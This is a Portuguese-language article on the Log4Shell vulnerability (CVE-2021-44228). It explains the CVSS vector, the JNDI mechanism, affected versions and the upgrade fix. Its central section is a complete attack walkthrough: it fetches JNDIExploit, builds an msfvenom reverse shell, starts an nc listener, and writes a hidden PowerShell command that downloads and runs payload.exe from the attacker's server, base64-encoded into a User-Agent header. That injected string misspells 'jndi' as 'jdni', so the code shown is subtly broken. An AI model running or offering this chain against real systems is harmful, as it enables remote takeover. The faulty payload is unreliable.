CVE-2021-44228

Em 9 de dezembro de 2021, o mundo tomou conhecimento de uma nova falha de segurança envolvendo o Log4J. A pontuação CVSSv3 (Common Vulnerability Scoring System) da vulnerabilidade foi avaliada em 10, tornando-a assim de nível crítico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

O seu vetor CVSSv3 é o seguinte: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Vamos esclarecer um pouco os valores para que o motivo da avaliação possa ser plenamente compreendido:

• AV:N (Attack Vector: Network) : O vetor de ataque é a rede e, portanto, um eventual dispositivo vulnerável é explorável remotamente.
• AC:L (Attack Complexity: Low) : A complexidade do ataque é baixa e, portanto, pode ser realizado até mesmo por um atacante com pouco conhecimento da vulnerabilidade, do seu funcionamento ou com pouca habilidade.
• PR:N (Privileged Required: None) : Não é necessário nenhum privilégio dentro do sistema.
• UI:N (User Interaction: None) : O sistema é vulnerável mesmo sem qualquer interação de um usuário.
• S:C (Scope: Changed)
• C:H (Confidentiality: High) : A confidencialidade das informações dentro da máquina está completamente comprometida. Isso leva a uma perda total do sigilo dos dados e à divulgação deles ao atacante.
• I:H (Integrity: High) : A integridade das informações contidas na máquina está completamente comprometida. Um atacante pode modificar ou excluir qualquer arquivo.
• A:H (Availability: High) : O atacante é capaz de negar completamente o acesso às informações ou aos serviços da máquina.

O que é o Log4J?

O Log4J é uma biblioteca Java, agora parte do projeto Apache Software Foundation, que permite manter sob controle o estado de uma aplicação.

É o padrão de facto para logging de aplicações Java.

Como funciona?

A vulnerabilidade baseia-se em JNDI (Java Naming and Directory Interface): uma API Java que permite a uma aplicação interagir com um serviço de diretório externo (por exemplo, LDAP).

A interação ocorre por meio da funcionalidade de lookup do JNDI que, habilitada nas configurações padrão do Log4J, permite a interação com um servidor remoto.

TCP Reverse Shell via Exploração do Log4J

Algumas pequenas observações úteis para a leitura:

• O IP da máquina do atacante é 10.0.0.1
• O IP da máquina vulnerável ao Log4Shell é 10.0.0.2
• O sistema operacional da máquina vulnerável é Windows com uma arquitetura x86
• A máquina vulnerável tem uma aplicação web em execução na porta 80 e acessível no URL http://hackme.com

❗ ATENÇÃO ❗
A técnica de ataque descrita a seguir deve servir apenas para compreender a periculosidade efetiva da vulnerabilidade em questão. O autor se distancia e condena qualquer uso indevido do artigo a seguir.

O objetivo do ataque a seguir é explorar o Log4Shell para conseguir baixar e executar uma reverse shell no sistema vulnerável, obtendo assim o controle total dele.

1. Configuração da máquina atacante

1. Vamos baixar o repositório contendo o código necessário para a inicialização de um servidor LDAP malicioso

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222

2. Vamos criar uma reverse shell em TCP para Windows usando msfvenom, de modo a podermos receber, na porta 8888, o acesso remoto à máquina

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe

3. Vamos inicializar um listener, por meio do nc, na porta 8888, para receber a conexão da reverse shell carregada na máquina vulnerável

nc -lvnp 8888

4. Vamos executar um servidor HTTP para permitir que a máquina alvo faça o download do malware:

python3 -m http.server 4444

5. Por meio do seguinte comando no Powershell, o atacante será capaz de se conectar ao seu próprio servidor HTTP, baixar o malware para o diretório C:\windows\temp e executá-lo

powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")

5. Vamos codificar o payload anterior em base64 por meio do seguinte comando

echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

O resultado do comando anterior é o seguinte:

cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Exploit

1. Vamos supor que a aplicação web registre o User-Agent de um visitante. O atacante envia uma requisição semelhante a:

GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

2. A string

${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

é passada ao Log4J, que a interpreta e, por meio de JNDI, efetua a requisição ao servidor LDAP do atacante

ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

3. O malware é baixado e executado.

4. O atacante obtém uma shell da máquina na porta 8888.

Estou vulnerável?

Antes de tudo, é importante lembrar que é uma vulnerabilidade que afeta SOMENTE softwares que utilizam Java ou algum derivado (e, obviamente, Log4J como biblioteca de logging).

• 2.0-beta9 - 2.14.1: As versões vulneráveis ao Log4Shell vão de 2.0-beta9 a 2.14.1.
• 2.15.0: A versão 2.15.0 do Log4J foi considerada vulnerável. CVE-2021-45046. Atualmente, a avaliação da vulnerabilidade é "9.0 Critical".
• 2.16.0: A versão 2.16.0 do Log4J foi considerada vulnerável. CVE-2021-45105. Atualmente, a avaliação da vulnerabilidade é "7.5 High".

A versão 1.x do Log4J não é estritamente vulnerável à falha de segurança em questão, mas, além de ter sido descontinuada em 2015, é afetada pela seguinte vulnerabilidade: CVE-2021-4104.

Como posso corrigir?

A melhor solução é atualizar o Log4J para a versão 2.17.0.